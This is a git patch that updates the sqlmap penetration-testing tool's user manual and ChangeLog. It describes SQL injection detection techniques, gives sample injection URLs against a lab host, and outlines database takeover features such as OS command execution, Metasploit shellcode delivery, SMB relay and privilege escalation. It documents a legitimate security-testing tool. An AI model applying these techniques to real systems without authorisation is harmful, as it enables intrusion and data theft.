From b47d3e1da3a0a61e23bcd83c9710af13edea931d Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Sun, 27 Feb 2011 12:19:32 +0000 Subject: [PATCH] Huge update to user's manual. A lot to be done yet. --- doc/ChangeLog | 30 +- doc/README.html | 6213 +++++++++++------------------------------------ doc/README.pdf | Bin 451418 -> 371657 bytes doc/README.sgml | 4304 ++++++-------------------------- 4 files changed, 2147 insertions(+), 8400 deletions(-) diff --git a/doc/ChangeLog b/doc/ChangeLog index 8be5c981b..1a3cb438d 100644 --- a/doc/ChangeLog +++ b/doc/ChangeLog @@ -1,37 +1,47 @@ sqlmap (0.9-1) stable; urgency=low + * Rewritten SQL injection detection engine (Bernardo and Miroslav). * Support to directly connect to the database without passing via a SQL injection, -d switch (Bernardo and Miroslav). + * Added full support for both time-based blind SQL injection and + error-based SQL injection techniques (Bernardo and Miroslav). * Implemented support for SQLite 2 and 3 (Bernardo and Miroslav). - * Initial support for Firebird, Sybase and SAP MaxDB (Miroslav). + * Implemented support for Firebird (Bernardo and Miroslav). + * Implemented support for Microsoft Access, Sybase and SAP MaxDB + (Miroslav). * Extended old '--dump -C' functionality to be able to search for specific database(s), table(s) and column(s), --search switch (Bernardo). * Added support to tamper injection data with --tamper switch (Bernardo and Miroslav). + * Added automatic recognition of password hashes format and support to + crack them with a dictionary-based attack (Miroslav). * Added support to enumerate roles on Oracle, --roles switch (Bernardo). * Added support for SOAP based web services requests (Bernardo). * Added support to fetch unicode data (Bernardo and Miroslav). * Added support to use persistent HTTP(s) connection for speed improvement, --keep-alive switch (Miroslav). - * Implemented HTTP proxy authentication support, --proxy-cred switch + * Support to test and inject against HTTP Referer header (Miroslav). + * Implemented HTTP(s) proxy authentication support, --proxy-cred switch (Miroslav). * Implemented feature to speedup the enumeration of table names (Miroslav). - * Support for customizable HTTP redirections (Bernardo). + * Support for customizable HTTP(s) redirections (Bernardo). * Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database, --replicate switch (Miroslav). * Support to parse and test forms on target url, --forms switch - (Miroslav). - * Added switches to brute-force table names with a dictionary attack, - --common-exists and --exists. Useful for instance when system table - 'information_schema' is not available on MySQL (Miroslav). + (Bernardo and Miroslav). + * Added switches to brute-force tables names and columns names with a + dictionary attack, --common-tables and --common-columns. Useful for + instance when system table 'information_schema' is not available on + MySQL (Miroslav). * Basic support for REST-style URL parameters by using the asterisk (*) to mark where to test for and exploit SQL injection (Miroslav). * Added safe URL feature, --safe-url and --safe-freq (Miroslav). - * Added --text-only switch to strip from the HTTP body the HTML/JS code - and compare pages based only on their textual content (Miroslav). - * Several bugs fixed (Bernardo and Miroslav). + * Added --text-only switch to strip from the HTTP response body the + HTML/JS code and compare pages based only on their textual content + (Miroslav). + * Over 100 bugs fixed (Bernardo and Miroslav). * Major code refactoring (Bernardo and Miroslav). * User's manual updated (Bernardo). diff --git a/doc/README.html b/doc/README.html index be969823d..ae8ab131e 100644 --- a/doc/README.html +++ b/doc/README.html @@ -1,7 +1,7 @@ - + sqlmap user's manual @@ -9,13 +9,10 @@

by Bernardo Damele A. G., -Miroslav Stampar

version 0.8, March 14, 2010 +Miroslav Stamparversion 0.9, March 10, 2011
This document is the user's manual to use -sqlmap. -Check the project -homepage -for the latest version. +sqlmap.

1. Introduction

@@ -25,7 +22,6 @@ for the latest version.
  • 1.2 Scenario
  • 1.3 Techniques
  • 1.4 Demo -
  • 1.5 History

    2. Features

    @@ -36,10 +32,18 @@ for the latest version.
  • 2.3 Takeover features

    -

    3. Download and update

    +

    3. History

    +

    -

    4. License and copyright

    +

    4. Download and update

    5. Usage

    @@ -48,21 +52,28 @@ for the latest version.
  • 5.1 Output verbosity
  • 5.2 Target
  • 5.3 Request -
  • 5.4 Injection -
  • 5.5 Techniques -
  • 5.6 Fingerprint -
  • 5.7 Enumeration -
  • 5.8 User-defined function injection -
  • 5.9 File system access -
  • 5.10 Operating system access -
  • 5.11 Windows registry access -
  • 5.12 Miscellaneous +
  • 5.4 Optimization +
  • 5.5 Injection +
  • 5.6 Detection +
  • 5.7 Techniques +
  • 5.8 Fingerprint +
  • 5.9 Enumeration +
  • 5.10 Brute force +
  • 5.11 User-defined function injection +
  • 5.12 File system access +
  • 5.13 Operating system takeover +
  • 5.14 Windows registry access +
  • 5.15 General +
  • 5.16 Miscellaneous

    -

    6. Disclaimer

    +

    6. License and copyright

    -

    7. Authors

    +

    7. Disclaimer

    + +

    +

    8. Authors

    @@ -70,11 +81,11 @@ for the latest version.

    sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of -back-end database servers. -It comes with a broad range of features lasting from database -fingerprinting, over data fetching from the database, to accessing the -underlying file system and executing commands on the operating system via -out-of-band connections.

    +database servers. It comes with a kick-ass detection engine, many niche +features for the ultimate penetration tester and a broad range of switches +lasting from database fingerprinting, over data fetching from the +database, to accessing the underlying file system and executing commands +on the operating system via out-of-band connections.

    1.1 Requirements @@ -84,7 +95,7 @@ out-of-band connections.

    Python, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system. It only -requires the Python interpreter version equal or above to 2.5. +requires the Python interpreter version equal or higher than 2.6. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box @@ -96,26 +107,54 @@ for x86, AMD64 and Itanium too.

    Metasploit Framework for some of its post-exploitation takeover features. You need to grab a copy of it from the download -page. The required version is 3.4 or above.

    +page - the required version is 3.5 or higher. +For the ICMP tunneling out-of-band takeover technique, sqlmap requires +Impacket library too.

    +

    If you are willing to connect directly to a database server (-d switch), without passing +via a web application, you need to install Python bindings for the database +management system that you are going to attack:

    +

    +

    +

    If you plan to attack a web application behind NTLM authentication or use -the sqlmap update functionality you need to install respectively -python-ntlm -and +the sqlmap update functionality (--update switch) you need to +install respectively +python-ntlm and python-svn libraries.

    Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and -history support functionalities in the SQL shell and OS shell. +history support features in the SQL shell and OS shell. Note that these functionalities are available natively by Python standard readline library on other operating systems.

    You can also choose to install -Psyco library to speed up the sqlmap algorithmic operations.

    +Psyco library to eventually speed up the sqlmap algorithmic +operations.

    1.2 Scenario

    +

    Detect and exploit a SQL injection

    +

    Let's say that you are auditing a web application and found a web page that accepts dynamic user-provided values on GET or POST parameters or HTTP Cookie values or HTTP User-Agent @@ -123,30 +162,31 @@ header value. You now want to test if these are affected by a SQL injection vulnerability, and if so, exploit them to retrieve as much information as possible out of the web application's back-end database management system -or even be able to access the underlying operating system.

    -

    Consider that the target url is:

    +or even be able to access the underlying file system and operating system.

    +

    In a simple world, consider that the target url is:

    -http://172.16.213.131/sqlmap/mysql/get_int.php?id=1 +http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

    Assume that:

    -http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=1 +http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

    is the same page as the original one and:

    -http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=2 +http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

    differs from the original one, it means that you are in front of a SQL injection vulnerability in the id GET parameter of the -index.php web application page which means that no IDS/IPS, no -web application firewall, no parameters' value sanitization is performed -on the server-side.

    +index.php web application page which means that potentially no +IDS/IPS, no web application firewall, no parameters' value sanitization is +performed on the server-side before sending the SQL statement to the +back-end database management system the web application relies on.

    This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. @@ -154,7 +194,7 @@ The Open Web Application Security Project rated on 2010 in their OWASP Top Ten survey this vulnerability as the -most common and important web application vulnerability along with other +most common and important web application vulnerability along with other injection flaws.

    Back to the scenario, probably the SQL SELECT statement into get_int.php has a syntax similar to the following SQL query, in @@ -169,7 +209,9 @@ a value for id such condition will take place when the web application passes the query to the back-end database management system that executes it, that is why the condition id=1 AND 1=1 is valid (True) and returns the same page as the original one, with the -same content and without showing any SQL error message.

    +same content. This is the case of a boolean-based blind SQL injection +vulnerability. However, sqlmap is able to detect any type of SQL injection +and adapt its work-flow accordingly. Read below for further details.

    Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more valid SQL condition(s), but also stacked SQL queries, for instance something like [...]&id=1; @@ -180,57 +222,82 @@ exploit it by manipulating the id parameter value in the HTTP request.

    There exist many resources -on the Net explaining in depth how to prevent, how to detect and how to -exploit SQL injection vulnerabilities in web application and it is -recommended to read them if you are not familiar with the issue before -going ahead with sqlmap.

    -

    Passing the original address, http://172.16.213.131/sqlmap/mysql/get_int.php?id=1 +on the Net explaining in depth how to prevent, detect and exploit SQL +injection vulnerabilities in web application and it is recommended to read +them if you are not familiar with the issue before going ahead with sqlmap.

    +

    Passing the original address, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 to sqlmap, the tool will automatically:

      -
    • Identify the vulnerable parameter(s) (id in this scenario);
      • -
    • Depending on the user's options, fingerprint, enumerate, takeover -the database server.
      • +
    • Identify the vulnerable parameter(s) (id in this example);
      • +
    • Identify which SQL injection techniques can be used to exploit the +vulnerable parameter(s);
      • +
    • Fingerprint the back-end database management system;
      • +
    • Depending on the user's options, it will extensively fingerprint, +enumerate data or takeover the database server as a whole.

    +

    Direct connection to the database management system

    + +

    Up until sqlmap version 0.8, the tool has been yet another +SQL injection tool, used by web application penetration testers/newbies/curious +teens/computer addicted/punks and so on. Things move on +and as they evolve, we do as well. Now it supports this new switch, +-d, that allows you to connect from your machine to the database +server's TCP port where the database management system daemon is listening +on and perform any operation you would do while using it to attack a +database via a SQL injection vulnerability.

    +

    1.3 Techniques

    -

    sqlmap implements three techniques to exploit a SQL injection -vulnerability:

    +

    sqlmap is able to detect and exploit five different SQL injection +types:

      -
    • Inferential blind SQL injection, also known as boolean -based blind SQL injection: sqlmap appends to the affected parameter in +
    • Boolean-based blind SQL injection, also known as inferential +SQL injection: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a SELECT sub-statement, or any other SQL statement whose the user want to retrieve the output. -For each HTTP response, by making a comparison based upon HTML page -content hashes, or string matches, with the original request, the tool -determines the output value of the statement character by character. +For each HTTP response, by making a comparison between the HTTP response +headers/body with the original request, the tool inference the output of +the injected statement character by character. Alternatively, the user +can provide a string or regular expression to match on True pages. The bisection algorithm implemented in sqlmap to perform this technique -is able to fetch each output character with at maximum seven HTTP -requests. -This is sqlmap default SQL injection technique.
      • -
    • UNION query (inband) SQL injection, also known as full -UNION query SQL injection: sqlmap appends to the affected parameter -in the HTTP request, a syntatically valid SQL statement string starting -with a UNION ALL SELECT. This techique is useful if the web -application page passes the output of the SELECT statement to a -for cycle, or similar, so that each line of the query output is -printed on the page content. +is able to fetch each character of the output with a maximum of seven HTTP +requests. Where the output is not within the clear-text plain charset, +sqlmap will adapt the algorithm with bigger ranges to detect the output.
      • +
    • Time-based blind SQL injection, also known as full blind +SQL injection: sqlmap replaces or appends to the affected parameter in +the HTTP request, a syntatically valid SQL statement string containing a +query which put on hold the back-end DBMS to return for a certain number +of seconds. +For each HTTP response, by making a comparison between the HTTP response +time with the original request, the tool inference the output of +the injected statement character by character. Like for boolean-based +technique, the bisection algorithm is applied.
      • +
    • Error-based SQL injection: sqlmap replaces or append to the +affected parameter a database-specific syntatically wrong statement and +parses the HTTP response headers and body in search of DBMS error messages +containing the injected pre-defined chain of characters and the statement +output within. This technique works when the web application has been +configured to disclose back-end database management system error messages +only.
      • +
    • UNION query SQL injection, also known as inband SQL +injection: sqlmap appends to the affected parameter a syntatically +valid SQL statement string starting with a UNION ALL SELECT. +This techique works when the web application page passes the output of the +SELECT statement within a for cycle, or similar, so that +each line of the query output is printed on the page content. sqlmap is also able to exploit partial (single entry) UNION query SQL -injection vulnerabilities which occur when the output of the statement -is not cycled in a for construct whereas only the first entry output is -displayed. -This technique is much faster if the target url is affected by because -in a single HTTP response it returns the whole query output or a entry -per each response within the page content. -This SQL injection technique is an alternative to the first one.
      • -
    • Batched (stacked) queries support, also known as multiple -statements support: sqlmap tests if the web application supports +injection vulnerabilities which occur when the output of the +statement is not cycled in a for construct whereas only the first +entry of the query output is displayed.
      • +
    • Stacked queries SQL injection, also known as multiple +statements SQL injection: sqlmap tests if the web application supports stacked queries then, in case it does support, it appends to the affected parameter in the HTTP request, a semi-colon (;) followed by the SQL statement to be executed. This technique is useful to run SQL @@ -242,38 +309,296 @@ and the session user privileges.

    +

    1.4 Demo

    You can watch several demo videos, they are hosted on -YouTube and linked -from -here.

    +YouTube.

    -

    1.5 History + +

    2. Features

    + +

    Features implemented in sqlmap include:

    + + +

    2.1 Generic features

    -

    2010

    -

      +
    • Full support for MySQL, Oracle, PostgreSQL, +Microsoft SQL Server, Microsoft Access, SQLite, +Firebird, Sybase and SAP MaxDB database +management systems. +
      • +
    • Full support for five SQL injection techniques: boolean-based +blind, time-based blind, error-based, +UNION query and stacked queries. +
      • +
    • Support to directly connect to the database without passing +via a SQL injection, by providing DBMS credentials, IP address, port and +database name. +
      • +
    • It is possible to provide a single target URL, get the list of +targets from +Burp proxy +or +WebScarab proxy requests log files, get the whole HTTP request +from a text file or get the list of targets by providing sqlmap with a +Google dork which queries +Google search engine and parses its results page. You can also +define a regular-expression based scope that is used to identify which of +the parsed addresses to test. +
      • +
    • Tests provided GET parameters, POST parameters, +HTTP Cookie header values, HTTP User-Agent header value +and HTTP Referer header value to identify and exploit SQL +injection vulnerabilities. It is also possible to specify a comma-separated +list of specific parameter(s) to test. +
      • +
    • Option to specify the maximum number of concurrent HTTP(S) +requests (multi-threading) to speed up the blind SQL injection +techniques. It is also possible to specify the number of seconds to +hold between each HTTP(S) request. +
      • +
    • HTTP Cookie header string support, useful when the +web application requires authentication based upon cookies and you have +such data or in case you just want to test for and exploit SQL injection +on such header values. You can also specify to always URL-encode the +Cookie. +
      • +
    • Automatically handles HTTP Set-Cookie header from +the application, re-establishing of the session if it expires. Test and +exploit on these values is supported too. Vice versa, you can also force +to ignore any Set-Cookie header. +
      • +
    • HTTP protocol Basic, Digest, NTLM and Certificate +authentications support. +
      • +
    • HTTP(S) proxy support to pass by the requests to the target +application that works also with HTTPS requests and with authenticated +proxy servers. +
      • +
    • Options to fake the HTTP Referer header value and +the HTTP User-Agent header value specified by user or +randomly selected from a textual file. +
      • +
    • Support to increase the verbosity level of output messages: +there exist seven levels of verbosity. +
      • +
    • Support to parse HTML forms from the target URL and forge +HTTP(S) requests against those pages to test the form parameters against +vulnerabilities. +
      • +
    • Granularity and flexibility in terms of both user's +switches and features. +
      • +
    • Estimated time of arrival support for each query, updated +in real time, to provide the user with an overview on how long it will +take to retrieve the queries' output. +
      • +
    • Automatically saves the session (queries and their output, even if +partially retrieved) on a textual file in real time while fetching the +data and resumes the injection by parsing the session file. +
      • +
    • Support to read options from a configuration INI file rather than +specify each time all of the switches on the command line. Support also to +generate a configuration file based on the command line switches provided. +
      • +
    • Support to replicate the back-end database tables structure and +entries on a local SQLite 3 database. +
      • +
    • Option to update sqlmap to the latest development version from the +subversion repository. +
      • +
    • Support to parse HTTP(S) responses and display any DBMS error +message to the user. +
      • +
    • Integration with other IT security open source projects, +Metasploit and +w3af.
      • +
    +

    + + +

    2.2 Fingerprint and enumeration features +

    + +

    +

      +
    • Extensive back-end database software version and underlying +operating system fingerprint based upon +error messages, +banner parsing, +functions output comparison and +specific features +such as MySQL comment injection. It is also possible to force the back-end +database management system name if you already know it. +
      • +
    • Basic web server software and web application technology +fingerprint. +
      • +
    • Support to retrieve the DBMS banner, session user +and current database information. The tool can also check if the +session user is a database administrator (DBA). +
      • +
    • Support to enumerate database users, users' password +hashes, users' privileges, users' roles, +databases, tables and columns. +
      • +
    • Automatic recognition of password hashes format and support to +crack them with a dictionary-based attack. +
      • +
    • Support to brute-force tables and columns name. This is +useful when the session user has no read access over the system table +containing schema information or when the database management system does +not store this information anywhere (e.g. MySQL < 5.0). +
      • +
    • Support to dump database tables entirely, a range of +entries or specific columns as per user's choice. The user can also choose +to dump only a range of characters from each column's entry. +
      • +
    • Support to automatically dump all databases' schemas and +entries. It is possibly to exclude from the dump the system databases. +
      • +
    • Support to search for specific database names, specific tables +across all databases or specific columns across all databases' +tables. This is useful, for instance, to identify tables containing +custom application credentials where relevant columns' names contain +string like name and pass. +
      • +
    • Support to run custom SQL statement(s) as in an interactive +SQL client connecting to the back-end database. sqlmap automatically +dissects the provided statement, determines which technique fits best to +inject it and how to pack the SQL payload accordingly.
      • +
    +

    + + +

    2.3 Takeover features +

    + +

    Some of these techniques are detailed in the white paper +Advanced SQL injection to operating system full control and in the +slide deck +Expanding the control over the operating system from the database.

    +

    +

      +
    • Support to inject custom user-defined functions: the user +can compile a shared library then use sqlmap to create within the back-end +DBMS user-defined functions out of the compiled shared library file. These +UDFs can then be executed, and optionally removed, via sqlmap. This is +supported when the database software is MySQL or PostgreSQL. +
      • +
    • Support to download and upload any file from the database +server underlying file system when the database software is MySQL, +PostgreSQL or Microsoft SQL Server. +
      • +
    • Support to execute arbitrary commands and retrieve their +standard output on the database server underlying operating system +when the database software is MySQL, PostgreSQL or Microsoft SQL Server. +
        +
      • On MySQL and PostgreSQL via user-defined function injection and +execution.
        • +
      • On Microsoft SQL Server via xp_cmdshell() stored procedure. +Also, the stored procedure is re-enabled if disabled or created from +scratch if removed by the DBA.
        • +
      + +
      • +
    • Support to establish an out-of-band stateful TCP connection +between the attacker machine and the database server underlying +operating system. This channel can be an interactive command prompt, a +Meterpreter session or a graphical user interface (VNC) session as per +user's choice. +sqlmap relies on Metasploit to create the shellcode and implements four +different techniques to execute it on the database server. These +techniques are: +
        +
      • Database in-memory execution of the Metasploit's shellcode +via sqlmap own user-defined function sys_bineval(). Supported on +MySQL and PostgreSQL.
        • +
      • Upload and execution of a Metasploit's stand-alone payload +stager via sqlmap own user-defined function sys_exec() on +MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL +Server.
        • +
      • Execution of Metasploit's shellcode by performing a SMB +reflection attack ( +MS08-068) with a UNC path request from the database server to +the attacker's machine where the Metasploit smb_relay server +exploit listens. Supported when running sqlmap with high privileges +(uid=0) on Linux/Unix and the target DBMS runs as Administrator +on Windows.
        • +
      • Database in-memory execution of the Metasploit's shellcode by +exploiting Microsoft SQL Server 2000 and 2005 +sp_replwritetovarbin stored procedure heap-based buffer +overflow ( +MS09-004). sqlmap has its own exploit to trigger the +vulnerability with automatic DEP memory protection bypass, but it relies +on Metasploit to generate the shellcode to get executed upon successful +exploitation.
        • +
      + +
      • +
    • Support for database process' user privilege escalation via +Metasploit's getsystem command which include, among others, +the +kitrap0d technique ( +MS10-015). +
      • +
    • Support to access (read/add/delete) Windows registry hives.
      • +
    +

    + + +

    3. History

    + +

    3.1 2011 +

    + +

    +

      +
    • March 10, +Bernardo and Miroslav release sqlmap +0.9 featuring a totally rewritten and powerful SQL injection +detection engine, the possibility to connect directly to a database +server, support for time-based blind SQL injection and error-based SQL +injection, support for four new database management systems and much more.
      • +
    +

    + +

    3.2 2010 +

    + +

    +

      +
    • December, +Bernardo and Miroslav have enhanced sqlmap a +lot during the whole year and prepare to release sqlmap 0.9 +within the first quarter of 2011.
      • +
    • June 3, Bernardo +presents +a talk titled Got database access? Own the network! at AthCon +2010 in Athens (Greece).
    • March 14, -Bernardo and Miroslav release stable version of +Bernardo and Miroslav release stable version of sqlmap 0.8 featuring many features. Amongst these, support to enumerate and dump all databases' tables containing user provided column(s), stabilization and enhancements to the takeover functionalities, updated integration with Metasploit 3.3.3 and a lot of minor features and bug fixes.
    • March, sqlmap demo videos have been -published.
      • +published.
    • January, Bernardo is invited to present at -AthCon conference in Greece on June -2010.
      • +AthCon conference in +Greece on June 2010.

    -

    2009

    +

    3.3 2009 +

      @@ -297,7 +622,7 @@ Poland.
    • September 26, sqlmap version 0.8 release candidate 1 goes public on the -Subversion repository, with all the attack +subversion repository, with all the attack vectors unveiled at SOURCE Barcelona 2009 Conference. These include an enhanced version of the Microsoft SQL Server buffer overflow exploit to automatically bypass DEP memory protection, support to establish the @@ -308,8 +633,10 @@ inject custom user-defined functions.
    • September 21, Bernardo and Guido Landi -present their research ( -slides) at SOURCE Conference 2009 in Barcelona, Spain. +present +their research ( +slides) +at SOURCE Conference 2009 in Barcelona, Spain.
    • August, Bernardo is accepted as a speaker at two others IT security conferences, @@ -353,7 +680,7 @@ the database.
    • April 16, Bernardo presents his research ( slides, -whitepaper) at Black Hat Europe 2009 in Amsterdam, The Netherlands. +whitepaper) at Black Hat Europe 2009 in Amsterdam, The Netherlands. The feedback from the audience is good and there has been some media coverage too.
      • @@ -380,7 +707,8 @@ private event in London, UK.

    -

    2008

    +

    3.4 2008 +

      @@ -400,7 +728,7 @@ tool and Metasploit: an auxiliary module to launch sqlmap from within Metasploit Framework. The -Subversion development repository goes public again. +subversion development repository goes public again.
    • September 1, nearly one year after the previous release, sqlmap 0.6 comes to life featuring a complete code @@ -411,12 +739,13 @@ new installation packages for Debian, Red Hat, Windows and much more.
    • August, two public mailing lists are created on SourceForge.
      • -
    • January, sqlmap Subversion development repository is moved +
    • January, sqlmap subversion development repository is moved away from SourceForge and goes private for a while.

    -

    2007

    +

    3.5 2007 +

      @@ -448,7 +777,8 @@ parameters.

    -

    2006

    +

    3.6 2006 +

    -

    2. Features

    - -

    Features implemented in sqlmap include:

    - - -

    2.1 Generic features -

    - -

    -

      -
    • Full support for MySQL, Oracle, PostgreSQL -and Microsoft SQL Server back-end database management systems. -Besides these four database management systems software, sqlmap can also -identify Microsoft Access, DB2, Informix, Sybase and Interbase. -
      • -
    • Full support for three SQL injection techniques: inferential -blind SQL injection, UNION query (inband) SQL injection and -batched queries support. sqlmap can also test for time based -blind SQL injection. -
      • -
    • It is possible to provide a single target URL, get the list of -targets from -Burp proxy -requests log file or -WebScarab proxy conversations/ folder, get the whole HTTP -request from a text file or get the list of targets by providing sqlmap -with a Google dork which queries -Google search engine and parses its results page. You can also -define a regular-expression based scope that is used to identify which of -the parsed addresses to test. -
      • -
    • Automatically tests all provided GET parameters, -POST parameters, HTTP Cookie header values and HTTP -User-Agent header value to find the dynamic ones, which means -those that vary the HTTP response page content. -On the dynamic ones sqlmap automatically tests and detects the ones -affected by SQL injection. Each dynamic parameter is tested for -numeric, single quoted string, double quoted -string and all of these three data-types with zero to two parenthesis -to correctly detect which is the SELECT statement syntax to -perform further injections with. It is also possible to specify the only -parameter(s) that you want to perform tests and use for injection on. -
      • -
    • Option to specify the maximum number of concurrent HTTP -requests to speed up the inferential blind SQL injection algorithms -(multi-threading). It is also possible to specify the number of seconds to -wait between each HTTP request. -
      • -
    • HTTP Cookie header string support, useful when the -web application requires authentication based upon cookies and you have -such data or in case you just want to test for and exploit SQL injection -on such header. You can also specify to always URL-encode the Cookie -header. -
      • -
    • Automatically handle HTTP Set-Cookie header from -the application, re-establishing of the session if it expires. Test and -exploit on these values is supported too. You can also force to ignore any -Set-Cookie header. -
      • -
    • HTTP Basic, Digest, NTLM and Certificate authentications -support. -
      • -
    • Anonymous HTTP proxy support to pass by the requests to the -target application that works also with HTTPS requests. -
      • -
    • Options to fake the HTTP Referer header value and -the HTTP User-Agent header value specified by user or -randomly selected from a text file. -
      • -
    • Support to increase the verbosity level of output messages: -there exist six levels. The default level is 1 in which -information, warnings, errors and tracebacks (if any occur) will be shown. -
      • -
    • Granularity in the user's options. -
      • -
    • Estimated time of arrival support for each query, updated -in real time while fetching the information to give to the user an -overview on how long it will take to retrieve the output. -
      • -
    • Automatic support to save the session (queries and their output, -even if partially retrieved) in real time while fetching the data on a -text file and resume the injection from this file in a second -time. -
      • -
    • Support to read options from a configuration INI file rather than -specify each time all of the options on the command line. Support also to -save command line options on a configuration INI file. -
      • -
    • Option to update sqlmap as a whole to the latest development version -from the Subversion repository. -
      • -
    • Integration with other IT security open source projects, -Metasploit and -w3af.
      • -
    -

    - - -

    2.2 Fingerprint and enumeration features -

    - -

    -

      -
    • Extensive back-end database software version and underlying -operating system fingerprint based upon -inband error messages, -banner parsing, -functions output comparison and -specific features -such as MySQL comment injection. It is also possible to force the back-end -database management system name if you already know it. -
      • -
    • Basic web server software and web application technology fingerprint. -
      • -
    • Support to retrieve the DBMS banner, session user -and current database information. The tool can also check if the -session user is a database administrator (DBA). -
      • -
    • Support to enumerate database users, users' password -hashes, users' privileges, databases, -tables and columns. -
      • -
    • Support to dump database tables as a whole or a range of -entries as per user's choice. The user can also choose to dump only -specific column(s). -
      • -
    • Support to automatically dump all databases' schemas and -entries. It is possibly to exclude from the dump the system databases. -
      • -
    • Support to enumerate and dump all databases' tables containing user -provided column(s). Useful to identify for instance tables containing -custom application credentials. -
      • -
    • Support to run custom SQL statement(s) as in an interactive -SQL client connecting to the back-end database. sqlmap automatically -dissects the provided statement, determines which technique to use to -inject it and how to pack the SQL payload accordingly.
      • -
    -

    - - -

    2.3 Takeover features -

    - -

    Some of these techniques are detailed in the white paper -Advanced SQL injection to operating system full control and in the -slide deck -Expanding the control over the operating system from the database.

    -

    -

      -
    • Support to inject custom user-defined functions: the user -can compile shared object then use sqlmap to create within the back-end -DBMS user-defined functions out of the compiled shared object file. These -UDFs can then be executed, and optionally removed, via sqlmap too. -
      • -
    • Support to read and upload any file from the database -server underlying file system when the database software is MySQL, -PostgreSQL or Microsoft SQL Server. -
      • -
    • Support to execute arbitrary commands and retrieve their -standard output on the database server underlying operating system -when the database software is MySQL, PostgreSQL or Microsoft SQL Server. -
        -
      • On MySQL and PostgreSQL via user-defined function injection and -execution.
        • -
      • On Microsoft SQL Server via xp_cmdshell() stored procedure. -Also, the stored procedure is re-enabled if disabled or created from -scratch if removed.
        • -
      - -
      • -
    • Support to establish an out-of-band stateful TCP connection -between the user machine and the database server underlying operating -system. This channel can be an interactive command prompt, a Meterpreter -session or a graphical user interface (VNC) session as per user's choice. -sqlmap relies on Metasploit to create the shellcode and implements four -different techniques to execute it on the database server. These -techniques are: -
        -
      • Database in-memory execution of the Metasploit's shellcode -via sqlmap own user-defined function sys_bineval(). Supported on -MySQL and PostgreSQL.
        • -
      • Upload and execution of a Metasploit's stand-alone payload -stager via sqlmap own user-defined function sys_exec() on -MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL -Server.
        • -
      • Execution of Metasploit's shellcode by performing a SMB -reflection attack ( -MS08-068) with a UNC path request from the database server to -the user's machine where the Metasploit smb_relay server exploit -runs.
        • -
      • Database in-memory execution of the Metasploit's shellcode by -exploiting Microsoft SQL Server 2000 and 2005 -sp_replwritetovarbin stored procedure heap-based buffer -overflow ( -MS09-004) with automatic DEP bypass.
        • -
      - -
      • -
    • Support for database process' user privilege escalation via -Metasploit's getsystem command which include, among others, -the -kitrap0d technique ( -MS10-015) or via -Windows Access Tokens insecure design by using Meterpreter's -incognito extension. -
      • -
    • Support to access (read/add/delete) Windows registry hives.
      • -
    -

    - - -

    3. Download and update

    +

    4. Download and update

    sqlmap can be downloaded from its SourceForge File List page. -It is available in various formats:

    +It is available in two formats:

    -

    You can also checkout the latest development version from the sqlmap -Subversion +

    You can also checkout the latest development version from the +subversion repository:

    @@ -725,9 +828,7 @@ $ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

    -

    If you download a source package (gzip, bzip2 or zip) or sqlmap from the -Subversion repository, you can update it to the latest development version -anytime by running:

    +

    You can update it at any time to the latest development version by running:

    @@ -744,36 +845,8 @@ $ svn update

    -

    Viceversa if you download a binary package (deb, rpm or exe), the -update feature is disabled.

    - -

    There are some differences between the packages:

    -

    -

      -
    • The source packages (gzip, bzip2 and zip) have all features. They -contains the working copy from the Subversion repository updated at the -time the sqlmap new version has been released.
      • -
    • The Debian and Red Hat installation packages (deb and rpm) are -compliant with the Linux distributions' packaging guidelines. This implies -that they do not support the update features and do not include UPX (used -to pack the Metasploit payload stager in some cases, see below).
      • -
    • The Windows binary package (exe) can't update itself and does not -support the takeover out-of-band features because they rely on -Metasploit's msfcli which is not available for Windows.
      • -
    -

    - -

    It is therefore recommended to download any of the source packages and run -it either from a shell like Bash on Unix and Mac OSX or from Cygwin on -Windows.

    - - -

    4. License and copyright

    - -

    sqlmap is released under the terms of the -General Public License v2. -sqlmap is copyrighted by -Bernardo Damele A. G..

    +

    This is strongly recommended before reporting any bug to the +mailing list.

    5. Usage

    @@ -783,20 +856,21 @@ sqlmap is copyrighted by 
     $ python sqlmap.py -h
 
-    sqlmap/0.8 - automatic SQL injection and database takeover tool
+    sqlmap/0.9 - automatic SQL injection and database takeover tool
     http://sqlmap.sourceforge.net
-    
+
 Usage: sqlmap.py [options]
 
 Options:
   --version             show program's version number and exit
   -h, --help            show this help message and exit
-  -v VERBOSE            Verbosity level: 0-5 (default 1)
+  -v VERBOSE            Verbosity level: 0-6 (default 1)
 
   Target:
     At least one of these options has to be specified to set the source to
     get target urls from.
 
+    -d DIRECT           Direct connection to the database
     -u URL, --url=URL   Target url
     -l LIST             Parse targets from Burp or WebScarab proxy logs
     -r REQUESTFILE      Load HTTP request from a file
@@ -806,53 +880,65 @@ Options:
   Request:
     These options can be used to specify how to connect to the target url.
 
-    --method=METHOD     HTTP method, GET or POST (default GET)
     --data=DATA         Data string to be sent through POST
     --cookie=COOKIE     HTTP Cookie header
     --cookie-urlencode  URL Encode generated cookie injections
     --drop-set-cookie   Ignore Set-Cookie header from response
     --user-agent=AGENT  HTTP User-Agent header
-    -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
+    --random-agent      Use randomly selected HTTP User-Agent header
     --referer=REFERER   HTTP Referer header
     --headers=HEADERS   Extra HTTP headers newline separated
     --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
